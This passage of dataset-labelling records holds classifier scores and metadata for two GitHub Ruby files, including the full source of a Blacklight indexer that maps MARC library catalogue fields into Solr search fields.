Tourism": 0.0003903421845597593, "Other / Uncovered Subject": 0.00043955480242737236, "NONE": 0.28307675922297754}}, "probability_diagnostics": {"primary": {"raw_sum": 0.9999999999999997, "mass_delta": -3.3306690738754696e-16, "missing_mass": 3.3306690738754696e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 9738, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 9738, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:33:11.448450+00:00", "scoring_key_slot": "assistant_1", "dataset_uid": "4c35a5a2-adcb-4a9c-871a-8657ab994468", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "ef28437b6608c418fa9937203c221bf8f5c5ef80a3b07f14afdca2a6454c1046", "source_metadata": {"uuid": "4c35a5a2-adcb-4a9c-871a-8657ab994468", "repo_name": "MarcPer/cs-algorithms", "relative_path": "algorithmic-toolbox/week4/7_closest_points/closest_test.rb", "category": "ALGO", "algo_rel_score": 0.9930247068405151, "quality_score": 5.963726043701172, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 24, "repo_created_at": "2016-10-10T22:26:56.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "5c75c7c860a87f7c7a945e733580029fa0536806", "size_bytes": 2891, "file_timestamp": 1658928072, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "47b0576e1b6fea136d8489264f06aa17af78e75b"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 24, "repo_created_at": "2016-10-10T22:26:56.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "5c75c7c860a87f7c7a945e733580029fa0536806", "size_bytes": 2891, "file_timestamp": 1658928072, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "47b0576e1b6fea136d8489264f06aa17af78e75b", "url": "https://github.com/MarcPer/cs-algorithms/blob/47b0576e1b6fea136d8489264f06aa17af78e75b/algorithmic-toolbox/week4/7_closest_points/closest_test.rb"}, "gpt4o_tokens": 1163, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 1.264509881531395, "noise_severity": 0.01515209405909862, "missing_content_severity": 0.0692792277554186, "factual_density": 3.3021229176732745, "pretraining_utility": 0.5821117225756168, "math_density": 3.2627304097081016, "code_density": 3.583864933249112, "reasoning_density": 1.0606680574155734, "education_level": 1.9835543105661264, "creative_writing_quality": -0.20667364075976147}, "score_applicability": {"education_level": 0.9989095781712142, "creative_writing_quality": 0.00026124858717400175}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/jweisman/alma-blacklight/blob/9454fce622f420ecac593f7572f185cc651c4720/app/models/marc_indexer.rb", "id": "ruby-0-3aee465a8dae631db47ea8f4c9be6331", "text": "$:.unshift './config'\nclass MarcIndexer < Blacklight::Marc::Indexer\n # this mixin defines lambda facotry method get_format for legacy marc formats\n include Blacklight::Marc::Indexer::Formats\n\n def initialize\n super\n\n settings do\n # type may be 'binary', 'xml', or 'json'\n provide \"marc_source.type\", \"binary\"\n # set this to be non-negative if threshold should be enforced\n provide 'solr_writer.max_skipped', -1\n end\n\n to_field \"id\", trim(extract_marc(\"001\"), :first => true)\n to_field 'marc_display', get_xml\n to_field \"text\", extract_all_marc_values do |r, acc|\n acc.replace [acc.join(' ')] # turn it into a single string\n end\n \n to_field \"language_facet\", marc_languages(\"008[35-37]:041a:041d:\")\n to_field \"format\", get_format\n to_field \"isbn_t\", extract_marc('020a', :separator=>nil) do |rec, acc|\n orig = acc.dup\n acc.map!{|x| StdNum::ISBN.allNormalizedValues(x)}\n acc << orig\n acc.flatten!\n acc.uniq!\n end\n \n to_field 'material_type_display', extract_marc('300a', :trim_punctuation => true)\n \n # Title fields\n # primary title \n \n to_field 'title_t', extract_marc('245a')\n to_field 'title_display', extract_marc('245a', :trim_punctuation => true, :alternate_script=>false)\n to_field 'title_vern_display', extract_marc('245a', :trim_punctuation => true, :alternate_script=>:only)\n \n # subtitle\n \n to_field 'subtitle_t', extract_marc('245b')\n to_field 'subtitle_display', extract_marc('245b', :trim_punctuation => true, :alternate_script=>false)\n to_field 'subtitle_vern_display', extract_marc('245b', :trim_punctuation => true, :alternate_script=>:only)\n \n # additional title fields\n to_field 'title_addl_t', \n extract_marc(%W{\n 245abnps\n 130#{ATOZ}\n 240abcdefgklmnopqrs\n 210ab\n 222ab\n 242abnp\n 243abcdefgklmnopqrs\n 246abcdefgnp\n 247abcdefgnp\n }.join(':'))\n \n to_field 'title_added_entry_t', extract_marc(%W{\n 700gklmnoprst\n 710fgklmnopqrst\n 711fgklnpst\n 730abcdefgklmnopqrst\n 740anp\n }.join(':'))\n \n to_field 'title_series_t', extract_marc(\"440anpv:490av\")\n \n to_field 'title_sort', marc_sortable_title \n \n # Author fields\n \n to_field 'author_t', extract_marc(\"100abcegqu:110abcdegnu:111acdegjnqu\")\n to_field 'author_addl_t', extract_marc(\"700abcegqu:710abcdegnu:711acdegjnqu\")\n to_field 'author_display', extract_marc(\"100abcdq:110#{ATOZ}:111#{ATOZ}\", :alternate_script=>false)\n to_field 'author_vern_display', extract_marc(\"100abcdq:110#{ATOZ}:111#{ATOZ}\", :alternate_script=>:only)\n \n # JSTOR isn't an author. Try to not use it as one\n to_field 'author_sort', marc_sortable_author\n \n # Subject fields\n to_field 'subject_t', extract_marc(%W(\n 600#{ATOU}\n 610#{ATOU}\n 611#{ATOU}\n 630#{ATOU}\n 650abcde\n 651ae\n 653a:654abcde:655abc\n ).join(':'))\n to_field 'subject_addl_t', extract_marc(\"600vwxyz:610vwxyz:611vwxyz:630vwxyz:650vwxyz:651vwxyz:654vwxyz:655vwxyz\")\n to_field 'subject_topic_facet', extract_marc(\"600abcdq:610ab:611ab:630aa:650aa:653aa:654ab:655ab\", :trim_punctuation => true)\n to_field 'subject_era_facet', extract_marc(\"650y:651y:654y:655y\", :trim_punctuation => true)\n to_field 'subject_geo_facet', extract_marc(\"651a:650z\",:trim_punctuation => true )\n \n # Publication fields\n to_field 'published_display', extract_marc('260a', :trim_punctuation => true, :alternate_script=>false)\n to_field 'published_vern_display', extract_marc('260a', :trim_punctuation => true, :alternate_script=>:only)\n to_field 'pub_date', marc_publication_date\n \n # Call Number fields\n to_field 'lc_callnum_display', extract_marc('050ab', :first => true)\n to_field 'lc_1letter_facet', extract_marc('050ab', :first=>true, :translation_map=>'callnumber_map') do |rec, acc|\n # Just get the first letter to send to the translation map\n acc.map!{|x| x[0]}\n end\n\n alpha_pat = /\\A([A-Z]{1,3})\\d.*\\Z/\n to_field 'lc_alpha_facet', extract_marc('050a', :first=>true) do |rec, acc|\n acc.map! do |x|\n (m = alpha_pat.match(x)) ? m[1] : nil\n end\n acc.compact! # eliminate nils\n end\n\n to_field 'lc_b4cutter_facet', extract_marc('050a', :first=>true)\n \n # URL Fields\n \n notfulltext = /abstract|description|sample text|table of contents|/i\n \n to_field('url_fulltext_display') do |rec, acc|\n rec.fields('856').each do |f|\n case f.indicator2\n when '0'\n f.find_all{|sf| sf.code == 'u'}.each do |url|\n acc << url.value\n end\n when '2'\n # do nothing\n else\n z3 = [f['z'], f['3']].join(' ')\n unless notfulltext.match(z3)\n acc << f['u'] unless f['u'].nil?\n end\n end\n end\n end\n\n # Very similar to url_fulltext_display. Should DRY up.\n to_field 'url_suppl_display' do |rec, acc|\n rec.fields('856').each do |f|\n case f.indicator2\n when '2'\n f.find_all{|sf| sf.code == 'u'}.each do |url|\n acc << url.value\n end\n when '0'\n # do nothing\n else\n z3 = [f['z'], f['3']].join(' ')\n if notfulltext.match(z3)\n acc << f['u'] unless f['u'].nil?\n end\n end\n end\n end\n end\nend", "text_preview": "$:.unshift './config' class MarcIndexer < Blacklight::Marc::Indexer # this mixin defines lambda facotry method get_format for legacy marc formats include Blacklight::Marc::Indexer::Formats def initialize super settings do # type may be 'bin", "input_sha256": "2b4b90c5ddbb890a739df8334adb418245a5b9555388c3277907bf5ca2d1462d", "text_sha256": "3aee465a8dae631db47ea8f4c9be6331c6a0e25eb72d79141ce99912b00dc36d", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16067, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 0, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 3, "creative_writing_quality": null}, "score_expectations": {"content_quality": 0.7777785283085138, "noise_severity": 0.015697581863661866, "missing_content_severity": 0.023910074758566928, "factual_density": 3.4165683264781768, "pretraining_utility": 0.25783180110909804, "math_density": 0.051477557767670816, "code_density": 3.909435358089492, "reasoning_density": 0.1681471398819252, "education_level": 2.9385486088201036, "creative_writing_quality": -0.21851151805375138}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "3", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.017680800757758464, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9942941148149035, "secondary": 0.9646876713788712, "tertiary": 0.9831372026043583, "structured_records": 0.1242188181683448, "procedural_steps": 0.0038532801332898025, "worked_solution": 0.0008605168199721098, "contextual_dialogue": 6.70903757372348e-06, "content_quality": 0.5248073721554174, "noise_severity": 0.9869186817802817, "missing_content_severity": 0.9800749377011942, "factual_density": 0.513806938731814, "pretraining_utility": 0.4431338077679867, "math_density": 0.9571020351936077, "code_density": 0.9245294650745768, "reasoning_density": 0.859877383431729, "education_level": 0.4564481598916258, "creative_writing_quality": 0.9995265305690324, "primary_topic": 0.9521709329288112, "secondary_topic": 0.7742761254951726}, "probability_margin": {"primary": 0.9911688251504547, "secondary": 0.945626966176737, "tertiary": 0.9745148879996404, "education_level": 0.29811018740620376, "creative_writing_quality": 0.9994463425314004, "primary_topic": 0.9183491810062434, "secondary_topic": 0.6561214312609702}, "raw_probabilities": {"primary": {"Academic Writing": 3.808902745020891e-05, "Content Listing": 3.3902485667872965e-05, "Creative Writing": 1.4189623151653938e-05, "Customer Support Page": 1.1754947550477648e-05, "Q&A Forum": 1.2274486913549724e-05, "Discussion Thread": 8.340718415483685e-06, "Comment Section": 1.6351122593580808e-05, "Missing Content": 3.0659057939900896e-05, "Knowledge Article": 9.487490073287632e-05, "Legal Notices": 3.8400597142919976e-05, "News Article": 5.6097207809181e-06, "Organizational Announcement": 1.0943297722073505e-05, "Nonfiction Writing": 1.1946331189434474e-05, "Organizational About Page": 1.3621622049095414e-05, "Personal About Page": 1.2187535002402406e-05, "Personal Blog": 7.327376163743175e-06, "Product Page": 8.761674868656082e-06, "Spam / Ads": 9.104077636281358e-06, "Structured Data": 0.0033630348804944707, "Technical Writing": 0.9945318600309492, "Transcript / Interview": 1.4226003879847124e-05, "Tutorial / How-To Guide": 0.0002544556828581646, "User Reviews": 6.8199592785120964e-06, "Other / Unknown": 0.0014512648395686796}, "secondary": {"Academic Writing": 0.00018101690229777804, "Content Listing": 0.00016217115098156895, "Creative Writing": 0.00010098266623564082, "Customer Support Page": 7.320069500561303e-05, "Q&A Forum": 5.880267869407614e-05, "Discussion Thread": 4.6044028550509885e-05, "Comment Section": 0.00017217026231101652, "Missing Content": 0.0002602681371059026, "Knowledge Article": 0.0004943531115146329, "Legal Notices": 0.00012893856240587837, "News Article": 6.811307052191382e-05, "Organizational Announcement": 6.58088519780987e-05, "Nonfiction Writing": 7.289779120662285e-05, "Organizational About Page": 8.315468837281064e-05, "Personal About Page": 6.400415965021288e-05, "Personal Blog": 6.0649057829279256e-05, "Product Page": 4.7602333902595924e-05, "Spam / Ads": 6.9409532983523e-05, "Structured Data": 0.020532052228014585, "Technical Writing": 0.010409891901068608, "Transcript / Interview": 7.62532717870228e-05, "Tutorial / How-To Guide": 0.000580941684337388, "User Reviews": 3.225482849318379e-05, "NONE": 0.9661590184047516}, "tertiary": {"Academic Writing": 8.215805366680536e-05, "Content Listing": 0.00011628273081555245, "Creative Writing": 5.3633462067284215e-05, "Customer Support Page": 4.2543379250140416e-05, "Q&A Forum": 2.6182384843524792e-05, "Discussion Thread": 2.4180570983182978e-05, "Comment Section": 0.00010349869373400621, "Missing Content": 0.00021885341870785054, "Knowledge Article": 0.000261278966544426, "Legal Notices": 8.452111864386197e-05, "News Article": 3.7802327376551976e-05, "Organizational Announcement": 3.18157096963705e-05, "Nonfiction Writing": 4.099169843840108e-05, "Organizational About Page": 5.632919749356025e-05, "Personal About Page": 3.4233616262363604e-05, "Personal Blog": 2.792199047003791e-05, "Product Page": 2.7601466604298848e-05, "Spam / Ads": 3.982881077565077e-05, "Structured Data": 0.009324931162869657, "Technical Writing": 0.004862502766258136, "Transcript / Interview": 3.594448481122124e-05, "Tutorial / How-To Guide": 0.0006097633178164996, "User Reviews": 1.738150936066031e-05, "NONE": 0.9838398191625101}, "structured_records": {"false": 0.8757811818316552, "true": 0.1242188181683448}, "procedural_steps": {"false": 0.9961467198667102, "true": 0.0038532801332898025}, "worked_solution": {"false": 0.9991394831800279, "true": 0.0008605168199721098}, "contextual_dialogue": {"false": 0.9999932909624263, "true": 6.70903757372348e-06}, "content_quality": {"-2": 0.006625084801739022, "-1": 0.04126026311817924, "0": 0.2938305319109171, "1": 0.48427927930815795, "2": 0.1740048408610065}, "noise_severity": {"0": 0.9868914757024165, "1": 0.011273470165623698, "2": 0.0013142047447029866, "3": 0.0002876953403954192, "4": 0.00023315404686148514}, "missing_content_severity": {"0": 0.9841585773003015, "1": 0.009972847870826036, "2": 0.0040915099256804265, "3": 0.0013540525763876977, "4": 0.00042301232680423565}, "factual_density": {"0": 0.009395076560455042, "1": 0.017984661557295778, "2": 0.09304524380167806, "3": 0.3058068950047595, "4": 0.5737681230758116}, "pretraining_utility": {"-2": 0.018418123638721973, "-1": 0.16836756750721504, "0": 0.4213970920145872, "1": 0.3205988177851944, "2": 0.0712183990542813}, "math_density": {"0": 0.9605820777640306, "1": 0.03390755318906415, "2": 0.0018103836552406905, "3": 0.0008507042985334374, "4": 0.0028492810931312444}, "code_density": {"0": 0.00022727070424631682, "1": 0.00044371565789923966, "2": 0.009796143761321693, "3": 0.06873212459718143, "4": 0.9208007452793512}, "reasoning_density": {"0": 0.885296172271821, "1": 0.07456302572419723, "2": 0.03032114741907011, "3": 0.006336799020059206, "4": 0.003482855564852531}, "education_level": {"none": 0.0010542804376619823, "0": 0.0013005416067823979, "1": 0.0034100441329532284, "2": 0.24892994583681768, "3": 0.5470401332430215, "4": 0.19826505474276315}, "creative_writing_quality": {"not_applicable": 0.9996054421408603, "-2": 5.5249453938566084e-05, "-1": 9.005031671524316e-05, "0": 0.00015909960945987393, "1": 6.598317021950511e-05, "2": 2.417530880614784e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 6.114123849301385e-05, "Art & Design": 0.00011999820125610688, "Law & Crime": 0.00010392686823668508, "Education & Careers": 0.00020813074217890113, "Entertainment & Media": 8.18512931101296e-05, "Fashion & Beauty": 5.772960540535196e-05, "Business, Economics & Finance": 0.00021735727306590797, "Food & Dining": 6.390365144678892e-05, "Games & Gaming": 0.00011484242880994111, "Electronics & Hardware": 0.00017378070916854396, "Health, Healthcare & Wellness": 7.193893310278852e-05, "History & Geography": 0.00010587350265287734, "Home, Pets & Hobbies": 0.00010838742472262066, "Industry & Production": 0.00011388022212027965, "Language, Literature & Philosophy": 0.0002928224922373274, "Politics & Government": 5.9559754121191034e-05, "Religion & Spirituality": 8.823179016965706e-05, "Science, Mathematics & Engineering": 0.0007535491311629374, "Relationships & Community": 4.409149987459215e-05, "Software Usage & Applications": 0.007036062316386315, "Programming & Software Engineering": 0.9540105124315492, "Sports & Fitness": 7.876416642775707e-05, "Vehicles & Transportation": 4.7718332387533004e-05, "Travel & Tourism": 0.00012482325645256652, "Other / Uncovered Subject": 0.03566133142530585, "Unknown / Insufficient Content": 0.00019979131015532818}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0005943887696717388, "Art & Design": 0.0007082110682373964, "Law & Crime": 0.0009164014496193889, "Education & Careers": 0.001048707379396354, "Entertainment & Media": 0.0007093141836740107, "Fashion & Beauty": 0.00028704590609278727, "Business, Economics & Finance": 0.000981763874800924, "Food & Dining": 0.00024095472722669437, "Games & Gaming": 0.0004061421866593986, "Electronics & Hardware": 0.0006355071633457681, "Health, Healthcare & Wellness": 0.00042431030625502883, "History & Geography": 0.0004632184640982434, "Home, Pets & Hobbies": 0.00041187442511979354, "Industry & Production": 0.00030360579265938163, "Language, Literature & Philosophy": 0.0006705169259648476, "Politics & Government": 0.00031913690072339434, "Religion & Spirituality": 0.000476996888412057, "Science, Mathematics & Engineering": 0.0010876466810198016, "Relationships & Community": 0.00016072079954559216, "Software Usage & Applications": 0.020754399884509264, "Programming & Software Engineering": 0.05772064908013973, "Sports & Fitness": 0.00023032870006475296, "Vehicles & Transportation": 0.00016079431185811487, "Travel & Tourism": 0.0004931694396209757, "Other / Uncovered Subject": 0.12683638171515715, "NONE": 0.7829578129761274}}, "probabilities": {"primary": {"Academic Writing": 3.808902745020891e-05, "Content Listing": 3.3902485667872965e-05, "Creative Writing": 1.4189623151653938e-05, "Customer Support Page": 1.1754947550477648e-05, "Q&A Forum": 1.2274486913549724e-05, "Discussion Thread": 8.340718415483685e-06, "Comment Section": 1.6351122593580808e-05, "Missing Content": 3.0659057939900896e-05, "Knowledge Article": 9.487490073287632e-05, "Legal Notices": 3.8400597142919976e-05, "News Article": 5.6097207809181e-06, "Organizational Announcement": 1.0943297722073505e-05, "Nonfiction Writing": 1.1946331189434474e-05, "Organizational About Page": 1.3621622049095414e-05, "Personal About Page": 1.2187535002402406e-05, "Personal Blog": 7.327376163743175e-06, "Product Page": 8.761674868656082e-06, "Spam / Ads": 9.104077636281358e-06, "Structured Data": 0.0033630348804944707, "Technical Writing": 0.9945318600309492, "Transcript / Interview": 1.4226003879847124e-05, "Tutorial / How-To Guide": 0.0002544556828581646, "User Reviews": 6.8199592785120964e-06, "Other / Unknown": 0.0014512648395686796}, "secondary": {"Academic Writing": 0.00018101690229777804, "Content Listing": 0.00016217115098156895, "Creative Writing": 0.00010098266623564082, "Customer Support Page": 7.320069500561303e-05, "Q&A Forum": 5.880267869407614e-05, "Discussion Thread": 4.6044028550509885e-05, "Comment Section": 0.00017217026231101652, "Missing Content": 0.0002602681371059026, "Knowledge Article": 0.0004943531115146329, "Legal Notices": 0.00012893856240587837, "News Article": 6.811307052191382e-05, "Organizational Announcement": 6.58088519780987e-05, "Nonfiction Writing": 7.289779120662285e-05, "Organizational About Page": 8.315468837281064e-05, "Personal About Page": 6.400415965021288e-05, "Personal Blog": 6.0649057829279256e-05, "Product Page": 4.7602333902595924e-05, "Spam / Ads": 6.9409532983523e-05, "Structured Data": 0.020532052228014585, "Technical Writing": 0.010409891901068608, "Transcript / Interview": 7.62532717870228e-05, "Tutorial / How-To Guide": 0.000580941684337388, "User Reviews": 3.225482849318379e-05, "NONE": 0.9661590184047516}, "tertiary": {"Academic Writing": 8.215805366680536e-05, "Content Listing": 0.00011628273081555245, "Creative Writing": 5.3633462067284215e-05, "Customer Support Page": 4.2543379250140416e-05, "Q&A Forum": 2.6182384843524792e-05, "Discussion Thread": 2.4180570983182978e-05, "Comment Section": 0.00010349869373400621, "Missing Content": 0.00021885341870785054, "Knowledge Article": 0.000261278966544426, "Legal Notices": 8.452111864386197e-05, "News Article": 3.7802327376551976e-05, "Organizational Announcement": 3.18157096963705e-05, "Nonfiction Writing": 4.099169843840108e-05, "Organizational About Page": 5.632919749356025e-05, "Personal About Page": 3.4233616262363604e-05, "Personal Blog": 2.792199047003791e-05, "Product Page": 2.7601466604298848e-05, "Spam / Ads": 3.982881077565077e-05, "Structured Data": 0.009324931162869657, "Technical Writing": 0.004862502766258136, "Transcript / Interview": 3.594448481122124e-05, "Tutorial / How-To Guide": 0.0006097633178164996, "User Reviews": 1.738150936066031e-05, "NONE": 0.9838398191625101}, "structured_records": {"false": 0.8757811818316552, "true": 0.1242188181683448}, "procedural_steps": {"false": 0.9961467198667102, "true": 0.0038532801332898025}, "worked_solution": {"false": 0.9991394831800279, "true": 0.0008605168199721098}, "contextual_dialogue": {"false": 0.9999932909624263, "true": 6.70903757372348e-06}, "content_quality": {"-2": 0.006625084801739023, "-1": 0.04126026311817925, "0": 0.2938305319109172, "1": 0.484279279308158, "2": 0.17400484086100654}, "noise_severity": {"0": 0.9868914757024163, "1": 0.011273470165623696, "2": 0.0013142047447029864, "3": 0.00028769534039541913, "4": 0.00023315404686148508}, "missing_content_severity": {"0": 0.9841585773003017, "1": 0.009972847870826038, "2": 0.004091509925680427, "3": 0.0013540525763876979, "4": 0.0004230123268042357}, "factual_density": {"0": 0.009395076560455042, "1": 0.017984661557295778, "2": 0.09304524380167806, "3": 0.3058068950047595, "4": 0.5737681230758116}, "pretraining_utility": {"-2": 0.018418123638721976, "-1": 0.16836756750721507, "0": 0.42139709201458725, "1": 0.32059881778519445, "2": 0.07121839905428132}, "math_density": {"0": 0.9605820777640304, "1": 0.033907553189064146, "2": 0.00181038365524069, "3": 0.0008507042985334372, "4": 0.002849281093131244}, "code_density": {"0": 0.00022727070424631685, "1": 0.0004437156578992397, "2": 0.009796143761321695, "3": 0.06873212459718145, "4": 0.9208007452793513}, "reasoning_density": {"0": 0.885296172271821, "1": 0.07456302572419723, "2": 0.03032114741907011, "3": 0.006336799020059206, "4": 0.003482855564852531}, "education_level": {"none": 0.0010542804376619825, "0": 0.001300541606782398, "1": 0.003410044132953229, "2": 0.2489299458368177, "3": 0.5470401332430216, "4": 0.19826505474276318}, "creative_writing_quality": {"not_applicable": 0.9996054421408607, "-2": 5.5249453938566104e-05, "-1": 9.005031671524319e-05, "0": 0.00015909960945987398, "1": 6.598317021950514e-05, "2": 2.4175308806147847e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 6.114123849301383e-05, "Art & Design": 0.00011999820125610686, "Law & Crime": 0.00010392686823668506, "Education & Careers": 0.00020813074217890107, "Entertainment & Media": 8.185129311012959e-05, "Fashion & Beauty": 5.7729605405351944e-05, "Business, Economics & Finance": 0.0002173572730659079, "Food & Dining": 6.39036514467889e-05, "Games & Gaming": 0.00011484242880994108, "Electronics & Hardware": 0.00017378070916854394, "Health, Healthcare & Wellness": 7.19389331027885e-05, "History & Geography": 0.00010587350265287731, "Home, Pets & Hobbies": 0.00010838742472262063, "Industry & Production": 0.00011388022212027962, "Language, Literature & Philosophy": 0.0002928224922373273, "Politics & Government": 5.955975412119102e-05, "Religion & Spirituality": 8.823179016965704e-05, "Science, Mathematics & Engineering": 0.0007535491311629372, "Relationships & Community": 4.409149987459214e-05, "Software Usage & Applications": 0.007036062316386313, "Programming & Software Engineering": 0.954010512431549, "Sports & Fitness": 7.876416642775705e-05, "Vehicles & Transportation": 4.771833238753299e-05, "Travel & Tourism": 0.0001248232564525665, "Other / Uncovered Subject": 0.035661331425305844, "Unknown / Insufficient Content": 0.00019979131015532812}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0005943887696717388, "Art & Design": 0.0007082110682373964, "Law & Crime": 0.0009164014496193889, "Education & Careers": 0.001048707379396354, "Entertainment & Media": 0.0007093141836740107, "Fashion & Beauty": 0.00028704590609278727, "Business, Economics & Finance": 0.000981763874800924, "Food & Dining": 0.00024095472722669437, "Games & Gaming": 0.0004061421866593986, "Electronics & Hardware": 0.0006355071633457681, "Health, Healthcare & Wellness": 0.00042431030625502883, "History & Geography": 0.0004632184640982434, "Home, Pets & Hobbies": 0.00041187442511979354, "Industry & Production": 0.00030360579265938163, "Language, Literature & Philosophy": 0.0006705169259648476, "Politics & Government": 0.00031913690072339434, "Religion & Spirituality": 0.000476996888412057, "Science, Mathematics & Engineering": 0.0010876466810198016, "Relationships & Community": 0.00016072079954559216, "Software Usage & Applications": 0.020754399884509264, "Programming & Software Engineering": 0.05772064908013973, "Sports & Fitness": 0.00023032870006475296, "Vehicles & Transportation": 0.00016079431185811487, "Travel & Tourism": 0.0004931694396209757, "Other / Uncovered Subject": 0.12683638171515715, "NONE": 0.7829578129761274}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, 